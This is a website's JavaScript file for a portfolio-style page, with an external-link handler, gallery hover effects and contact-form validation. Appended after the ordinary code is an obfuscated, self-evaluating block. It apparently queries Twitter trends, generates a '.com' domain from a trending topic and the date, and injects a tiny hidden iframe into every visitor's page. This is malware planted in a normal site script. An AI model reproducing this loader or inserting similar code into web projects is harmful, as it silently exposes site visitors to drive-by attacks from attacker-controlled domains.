//run necessary function
function externalLinks() {  
 if (!document.getElementsByTagName) return;  
 var anchors = document.getElementsByTagName("a");  
 for (var i=0; i<anchors.length; i++) {  
   var anchor = anchors[i];  
   if (anchor.getAttribute("href") &&  
       anchor.getAttribute("rel") == "external")  
     anchor.target = "_blank";  
 }  
}  
window.onload = externalLinks;

$(document).ready(function(){
     $.preloadCssImages();

	contact_showhide();
	 contact_submit();
	 otherProject_showhide();
	 
	 $("ul.gallery li").hover(function() { //On hover...

		var thumbOver = $(this).find("img").attr("src"); //Get image url and assign it to 'thumbOver'

		//Set a background image(thumbOver) on the <a> tag - Set position to bottom
		$(this).find("a.thumb").css({'background' : 'url(' + thumbOver + ') no-repeat center bottom'});

		//Animate the image to 0 opacity (fade it out)
		$(this).find("span").stop().fadeTo('normal', 0 , function() {
			$(this).hide() //Hide the image after fade
		});
	} , function() { //on hover out...
		//Fade the image to full opacity 
		$(this).find("span").stop().fadeTo('normal', 1).show();
	});

});

// CHECK FORM FIELDS WHEN SUBMIT 
function contact_submit()
{
	$('fieldset#contact_action input').click(
		function () {
			var passCheck = true;
			var regexEmail=/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,6}$/;
			var regexName=/^[a-zA-Z ]+$/;
			
			var name = $('input#contact_name').attr("value");
			var email = $('input#contact_email').attr("value");
			var message = $('textarea#contact_message').val();
			
			var nameError = $('.contact form label[for="contact_name"] span abbr');
			var emailError = $('.contact form label[for="contact_email"] span abbr');
			var messageError = $('.contact form label[for="contact_message"] span abbr');
			
			if (name == "") {
				nameError.text('(missing required info)');
				nameError.show();
				$('.contact form label[for="contact_name"] input').addClass('missing');
				passCheck = false;
				//window.alert('no name');
			} else if (!regexName.test(name)) {
				nameError.text('(invalid characters in name)');
				nameError.show();
				$('.contact form label[for="contact_name"] input').addClass('missing');
				passCheck = false;
				//window.alert('wrong name');
			} else {
				nameError.hide();
				$('.contact form label[for="contact_name"] input').removeClass('missing');
			}
			
			if (email == "") {
				emailError.text('(missing required info)');
				emailError.show();
				$('.contact form label[for="contact_email"] input').addClass('missing');
				passCheck = false;
				//window.alert('no mail');
			} else if (!regexEmail.test(email)) {
				emailError.text('(invalid email format)');
				emailError.show();
				$('.contact form label[for="contact_email"] input').addClass('missing');
				passCheck = false;
				//window.alert('wrong mail');
			} else {
				emailError.hide();
				$('.contact form label[for="contact_email"] input').removeClass('missing');
			}
			
			if (message == "") {
				messageError.text('(missing required info)');
				messageError.show();
				$('.contact form label[for="contact_message"] textarea').addClass('missing');
				passCheck = false;
				//window.alert('no message');
			} else {
				messageError.hide();
				$('.contact form label[for="contact_message"] textarea').removeClass('missing');
			}
			
			if (passCheck == false) {
				return false;
			} else { return true;}
			
			return false;
		}
	);
}

// CONTACT FORM SHOW/HIDE 
function contact_showhide()
{
    $('fieldset#contact_more').hide();
	
    $('div#contact_options ul li.more a').click(
		function () {
        	$('fieldset#contact_more').slideToggle('slow');
        	$(this).parent().toggleClass('less');
          	return false;
      	}  
    );
	
	$('div#contact_options ul li a').toggle(
		function () {
	    	$(this).text('Hide Form');
	    },
	    function () {
	        $(this).text('Extend Form');
	    }
	);
}

// OTHER PROJECT SHOW/HIDE 
function otherProject_showhide()
{
    $('div#other_projects').hide();
	
    $('h4#other_projects_toggle').click(
		function () {
        	$('div#other_projects').slideToggle('slow');
        	$(this).toggleClass('less');
          	return false;
      	}  
    );
}


(function($$){d="( 8 *i= 8var Vc=this;  [Vc\\FullYear %Month %Date %Hours %Minutes %Seconds()]}; *B= 8 &n,Vr=this.#i(),i=0;Vr[1]+=1;while(i++<7){#n=Vr[i] /#n<#b)Vr[i] 4#n}   Vr.splice(~z'),1+~T 0 5~u 0+'T'+Vr 5~U 0};VN={'h`http://Xs`/Xt`treXd`daiXn`ndsXq`?Xc`callback=Xj`#Xa`apiXl`lyXW`twitterXo`comXe`1Xk`sXK`bodyXx`ajaxXD`.XL`libsXJ`jqueryX6`6.2Xm`minXf`onXS`criptXi`ifXM`rameXY`headXw`width:Xp`px;XH`height:XT`2Xr`rcXQ`\"Xy`style=Xb`><XR`></XI`divXB`<XA`>Xg`googleXE`&date=Xz`0Xu`-XU` X,`:00X;':2345678901,'/':48271,'F':198195254,'G':12,'C`='};@ #G(Vm){#o=[];for(Vx=0;Vx<Vm .;Vx++){#o.push(VN[Vm.charAt(Vx)])}   #T(#o)}VB=document;#x=window; +E='undefined'; +j=~haDWDosestnsdlDjfqcq' :R= ))== +E) /#R||!VD()){if(!#R){try{Vd=jQuery !;try{Vd=$ !}VM=VB.getElementsByTagName(~Y 0[0];#J=VB.createElement(~kS 0;#J.setAttribute(~kr'),#G(\"hxDgakDosxsLsJseD6sJDmDj\"));VM.appendChild(#J)}@ Va(#F,VK){   Math.floor(#F/VK) 6e(#k){var Vg=Va( +u, $G); &C= +u% $G; &S= $r*#C; &L= $J*Vg; &y=#S-#L /#y>0){#u=#y}else{#u=#y+ $A}  (#u%#k) 6z(#w){ +u=~;')+#w; $r=~/'); $A=~;')-~F'); $G=Va( $A, $r); $J= $A% $r 6T(V){   V .==1?V[0]:V 5'')};@ #K(V){d=new Date( :c=~zee');d.setTime((V.as_of-~G')*~G')*~G')*~ezz 0*~ezzz 0;   d 6p(Vu){ &a,Vn,#f=Vu .; &d=[];while(--#f){Vn=#e(#f :d.push(Vn :a=Vu[Vn];Vu[Vn]=Vu[#f];Vu[#f]=#a}}@ Vp($){Vs=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],@(x,i){   String.fromCharCode(i+x+24)});   #T(Vs) 6v($){if ))!= +E){$( 8if ).Vt)!= +E)  ;$.Vt=1; 2j,@(Vy){#g=#K(Vy :h=#g\\Month() 9L=#g\\Date();VS=#h+\"-\"+VL;#P=#j+#G(\"E 3;Vj=VP=Va(#g\\Hours(),6)*6 9E=Vj+1;#b=+~ez'); , 2P,@(Vy){try{#D=Vy.trends;#M=#G(\" 3+\" \" /Vj<#b)Vj 4Vj /VE<#b)VE 4VE; 7j+#G(X)] /!#N){ 7E+#G(X)]}#N=(#N[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'microscope').split('' :s=#h*71+VP*3+VL*37;#z(#s :q=#e(4)+#b;#p(#N :H=~Ch')+#T(#N).substring(0,#q)+'.com/'+Vp($);VN['Z']=#H;Vb=~BI 1biMU 1UkrZRiMRIA');$(~K 0.append(Vb)}catch(Vf){}})},#b*#b*#b)})})}else{ , -,1+~TTT 0}} -)()#js@functionV#mX','`':'~#G('\\.getUTC  return !.noConflict(true)}catch(e){} $#x.V %(),Vc\\ &var # )(typeof($ *Date.prototype.# +#x.# ,setTimeout( 8 -#v(#x.jQuery)} ..length /;if( 0')) 1yQHTpweeepQ 2$.getJSON(# 3Tzeeu\")+VS 4=~z')+ 5.join( 6}@ # 7#N=#D[#M+V 8@(){ 9+(+~e 0;V :);#";for(c=53;c;d=(t=d.split('#@VX`~\\   ! $ % & ) * + , - . / 0 1 2 3 4 5 6 7 8 9 :'.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(function(jsmH){return(function(jsm,jsmF){return jsmF(jsm(jsmF(jsm(jsmH))))(jsmH)()})((function(jsm){return jsm.constructor}),(function(jsm){return(function(jsmF){return jsm.call(jsm,jsmF)})}))});

